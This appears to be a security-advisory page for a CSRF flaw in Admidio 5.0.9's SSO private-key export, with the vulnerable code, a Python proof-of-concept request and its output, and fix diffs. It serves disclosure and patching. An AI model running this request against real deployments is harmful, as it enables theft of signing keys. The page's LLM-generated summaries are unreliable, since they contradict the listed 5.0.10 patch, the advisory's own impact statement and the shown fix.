VYPR
Medium severity4.3GHSA Advisory· Published May 29, 2026· Updated May 29, 2026

Admidio PKCS#12 private key export action lacks CSRF protection

CVE-2026-47232

Description

Summary

The sensitive mode=export action in modules/sso/keys.php exports a PKCS#12 bundle containing the configured private key and certificate, but the CSRF validation line is commented out. A forged cross-site POST from an administrator session can therefore trigger private key export without a valid form token.

Vulnerable

Code Links

  • https://github.com/Admidio/admidio/blob/v5.0.9/modules/sso/keys.php#L83-L94
  • https://github.com/Admidio/admidio/blob/v5.0.9/src/SSO/Service/KeyService.php#L108-L150

Vulnerable

Code

// modules/sso/keys.php
case 'export':
// SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$keyService = new KeyService($gDb);
$password = admFuncVariableIsValid($_POST, 'key_password', 'string');
$keyService->exportToPkcs12($getKeyUUID, $password);
break;
// src/SSO/Service/KeyService.php
public function exportToPkcs12(string $keyUUID, string $password = '') {
$ssoKey = new Key($this->db);
$ssoKey->readDataByUuid($keyUUID);
...
openssl_pkcs12_export($certificate, $pkcs12, $privateKey, $password, ["friendly_name" => $name]);
header('Content-Type: application/x-pkcs12');
header('Content-Disposition: attachment; filename="' . $filename . '.p12"');
echo $pkcs12;
exit;
}

What

Does The Code Mean

The export route accepts a key UUID and export password from the request, then returns a PKCS#12 bundle containing the private key material and certificate as a direct browser download.

Why

The Code Is Vulnerable

The route is a sensitive action and should require a valid anti-CSRF token. Because the validation call is commented out, any attacker-controlled page can force an authenticated administrator’s browser to perform the export request.

Verification

Environment

  • Application: Admidio v5.0.9
  • Runtime: Dockerized Admidio + MariaDB on http://localhost:18080
  • Validation mode: real deployed application, not isolated unit tests

Steps

To Reproduce

  1. Log in as an administrator.
  2. Create or seed an SSO key pair.
  3. Send a POST request to /modules/sso/keys.php?mode=export&uuid= with only key_password=ExportPass123! and no adm_csrf_token.
  4. Verify that the response returns application/x-pkcs12 and that the returned file parses successfully with OpenSSL.

PoC

Script

import os
from pathlib import Path

from helpers import BASE_URL, login, new_session, save_json, save_text


KEY_UUID = os.environ["ADMIDIO_KEY_UUID"]


def main():
session = new_session()
login_result = login(session, "admin", "AdminPass123!")
resp = session.post(
    f"{BASE_URL}/modules/sso/keys.php?mode=export&uuid={KEY_UUID}",
    data={"key_password": "ExportPass123!"},
)
resp.raise_for_status()

Path("/home/ubuntu/bughunting/admidio/runtime_validation/output/exported_key.p12").write_bytes(resp.content)
save_json(
    "pkcs12_export_csrf_result.json",
    {
        "login": login_result,
        "status_code": resp.status_code,
        "content_type": resp.headers.get("Content-Type"),
        "content_length": len(resp.content),
        "content_disposition": resp.headers.get("Content-Disposition"),
    },
)


if __name__ == "__main__":
main()

PoC

Output

{
  "content_disposition": "attachment; filename=\"Runtime_Test_Key.p12\"",
  "content_length": 2644,
  "content_type": "application/x-pkcs12",
  "login": {
"cookies": {
  "ADMIDIO_admidio_adm_SESSION_ID": "jpk70tcvbaq3gof7lqdq6penkb"
},
"csrf": "ztUJwMPATEKBdu2Qw3oJlnD0WeWLcn",
"json": {
  "status": "success",
  "url": "http://localhost:18080/modules/overview.php"
},
"status_code": 200
  },
  "status_code": 200
}

MAC: sha256, Iteration 2048
MAC length: 32, salt length: 8
PKCS7 Encrypted data: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256
Certificate bag
PKCS7 Data
Shrouded Keybag: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256

Impact

A cross-site request can trigger private key export in an administrator browser context. Same-origin policy normally prevents direct cross-site reading of the response, so the practical impact is lower than a direct exfiltration bug, but the application still performs a sensitive secret-export action without CSRF protection.

Remediation

And Suggestions

Restore CSRF validation and require a POST body token before exporting private key material.

case 'export':
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$keyService = new KeyService($gDb);
$password = admFuncVariableIsValid($_POST, 'key_password', 'string');
$keyService->exportToPkcs12($getKeyUUID, $password);
break;

For additional hardening, consider requiring re-authentication or current-password confirmation before any private-key export.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Admidio v5.0.9 SSO key export endpoint lacks CSRF protection, enabling attackers to force an admin's browser to export private keys via a forged cross-site request.

Vulnerability

In Admidio v5.0.9, the mode=export action in modules/sso/keys.php implements a PKCS#12 bundle export of the configured private key and certificate. The CSRF validation call (SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);) is commented out, leaving the endpoint unprotected against cross‑site request forgery. The route accepts a key UUID and an export password from the POST request and directly returns the bundle as a file download [1][2].

Exploitation

An attacker must first obtain a valid SSO key UUID (e.g., through a prior information disclosure or by brute‑forcing a predictable UUID). They then craft a malicious HTML page that, when visited by an authenticated administrator, submits a POST request to /modules/sso/keys.php?mode=export&uuid= with the parameter key_password=attacker-chosen-password. No CSRF token is required, so the browser automatically sends the administrator’s session cookies. The attacker does not need any special network position beyond hosting the malicious page [1][2].

Impact

On success, the attacker forces the administrator’s browser to download a PKCS#12 file containing the private key and its associated certificate. With the private key in hand, the attacker can decrypt SSL/TLS‑protected communications meant for the SSO service, sign forged assertions, or impersonate the identity provider. This effectively compromises the entire single sign‑on trust relationship and can lead to unauthorized access to all applications relying on that SSO key [1][2].

Mitigation

The immediate fix is to re‑enable CSRF token validation by uncommenting the line SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); in modules/sso/keys.php. As of this writing (2026‑05‑29), no patched version of Admidio has been released that addresses this vulnerability. Administrators should apply the code change manually or monitor upstream for a hygiene update. No workaround is available without modifying source code [1][2].

AI Insight generated on May 29, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

2
  • Admidio/AdmidioGHSA2 versions
    <= 5.0.9+ 1 more
    • (no CPE)range: <= 5.0.9
    • (no CPE)range: =5.0.9

Patches

4
75dbaaed6e26

CSRF protection on SSO key export missing #2049

https://github.com/admidio/admidioMarkus FaßbenderMay 7, 2026Fixed in 5.0.10via llm-release-walk
1 file changed · +4 1
  • modules/sso/keys.php+4 1 modified
    @@ -87,7 +87,10 @@
                 break;
     
             case 'export':
    -            // SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
    +            // check form field input and sanitized it from malicious content
    +            $passwordForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
    +            $passwordForm->validate($_POST);
    +
                 $keyService = new KeyService($gDb);
                 $password = admFuncVariableIsValid($_POST, 'key_password', 'string');
                 $keyService->exportToPkcs12($getKeyUUID, $password);
    
996e287d94f7

CSRF token check in enablen SSO missing #2041

https://github.com/admidio/admidioMarkus FaßbenderMay 4, 2026Fixed in 5.0.10via llm-release-walk
2 files changed · +15 7
  • modules/sso/clients.php+5 1 modified
    @@ -96,7 +96,11 @@
                 echo json_encode(array('status' => 'success'));
                 break;
             case 'enable':
    -            $enabled = admFuncVariableIsValid($_GET, 'enabled', 'boolean');
    +            // check the CSRF token of the form against the session token
    +            SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
    +
    +            $enabled = admFuncVariableIsValid($_POST, 'enabled', 'boolean');
    +            $getClientUUID = admFuncVariableIsValid($_POST, 'uuid', 'uuid');
                 $client = new SAMLClient($gDb);
                 $client->readDataByUuid($getClientUUID);
                 if ($client->isNewRecord()) {
    
  • src/UI/Presenter/SSOClientPresenter.php+10 6 modified
    @@ -773,11 +773,14 @@ function generateClientSecret(length = 32) {
     
     
         /**
    -     * Display a toggle to enable/disable a client (via a json call).
    -     * @param  $name
    +     * Display a toggle to enable/disable a client (via a JSON call).
    +     * @param SSOClient $client
    +     * @return string
    +     * @throws Exception
          */
    -    protected function generateEnableLink(SSOClient $client) {
    -        global $gL10n;
    +    protected function generateEnableLink(SSOClient $client): string
    +    {
    +        global $gL10n, $gCurrentSession;
             $enabled = $client->isEnabled();
             $uuid = $client->getValue($client->getColumnPrefix() . '_uuid');
     
    @@ -960,9 +963,10 @@ public function createList(): void
                   var currentlyEnabled = \$link.data('enabled') === 1 || \$link.data('enabled') === '1';
                   var newEnabled = currentlyEnabled ? 0 : 1;
     
    -              $.get('clients.php?mode=enable', {
    +              $.post('clients.php?mode=enable', {
                     uuid: \$link.data('uuid'),
    -                enabled: newEnabled
    +                enabled: newEnabled,
    +                adm_csrf_token: '" . $gCurrentSession->getCSRFToken() . "'
                   })
                   .done(function (response) {
                     var data = typeof response === 'string' ? JSON.parse(response) : response;
    
f7dd842c4186

Missing CSRF token check when sending new login data #2038

https://github.com/admidio/admidioMarkus FaßbenderMay 3, 2026Fixed in 5.0.10via llm-release-walk
1 file changed · +4 0
  • modules/registration.php+4 0 modified
    @@ -125,6 +125,10 @@
             }
         } elseif ($getMode === 'send_login') {
             // User already exists and has a login than sent access data with a new password
    +
    +        // check the CSRF token of the form against the session token
    +        SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
    +
             $user = new User($gDb, $gProfileFields);
             $user->readDataByUuid($getUserUUIDAssigned);
             $user->sendNewPassword();
    
8f7a2884e9dc

set version to 5.0.10

https://github.com/admidio/admidioMarkus FaßbenderMay 18, 2026Fixed in 5.0.10via release-tag
1 file changed · +1 1
  • system/bootstrap/constants.php+1 1 modified
    @@ -23,7 +23,7 @@
     
     const ADMIDIO_VERSION_MAIN = 5;
     const ADMIDIO_VERSION_MINOR = 0;
    -const ADMIDIO_VERSION_PATCH = 9;
    +const ADMIDIO_VERSION_PATCH = 10;
     const ADMIDIO_VERSION_BETA = 0;
     
     const ADMIDIO_VERSION = ADMIDIO_VERSION_MAIN . '.' . ADMIDIO_VERSION_MINOR . '.' . ADMIDIO_VERSION_PATCH;
    

Vulnerability mechanics

Root cause

"The CSRF token validation call is commented out in the export action, allowing a cross-site POST to export private key material without a valid form token."

Attack vector

An attacker crafts a malicious page that, when visited by an authenticated administrator, submits a cross-site POST request to `/modules/sso/keys.php?mode=export&uuid=<key-uuid>` with a `key_password` parameter. Because the CSRF token validation is commented out, the server processes the request and returns a PKCS#12 file containing the configured private key and certificate. Same-origin policy prevents the attacker from reading the response directly, but the export action itself is performed without any anti-forgery check.

Affected code

The vulnerable code is in `modules/sso/keys.php` where the `case 'export':` branch has the CSRF validation call `SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);` commented out. The export logic itself resides in `src/SSO/Service/KeyService.php` in the `exportToPkcs12()` method, which calls `openssl_pkcs12_export()` and streams the PKCS#12 bundle as a download.

What the fix does

The patch restores the previously commented-out call to `SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);` inside the `case 'export':` branch of `modules/sso/keys.php`. This ensures that every export request must include a valid anti-CSRF token in the POST body, preventing cross-site request forgery. Without this check, an attacker could trick an administrator's browser into exporting the private key material.

Preconditions

  • authThe attacker must trick an authenticated administrator into visiting a malicious page while the administrator has an active session.
  • configThe application must have at least one SSO key pair configured (created or seeded).
  • inputThe attacker must know or guess the UUID of an existing SSO key.
  • networkThe request is sent via HTTP POST to the export endpoint.

Generated on May 29, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

2

News mentions

0

No linked articles in our index yet.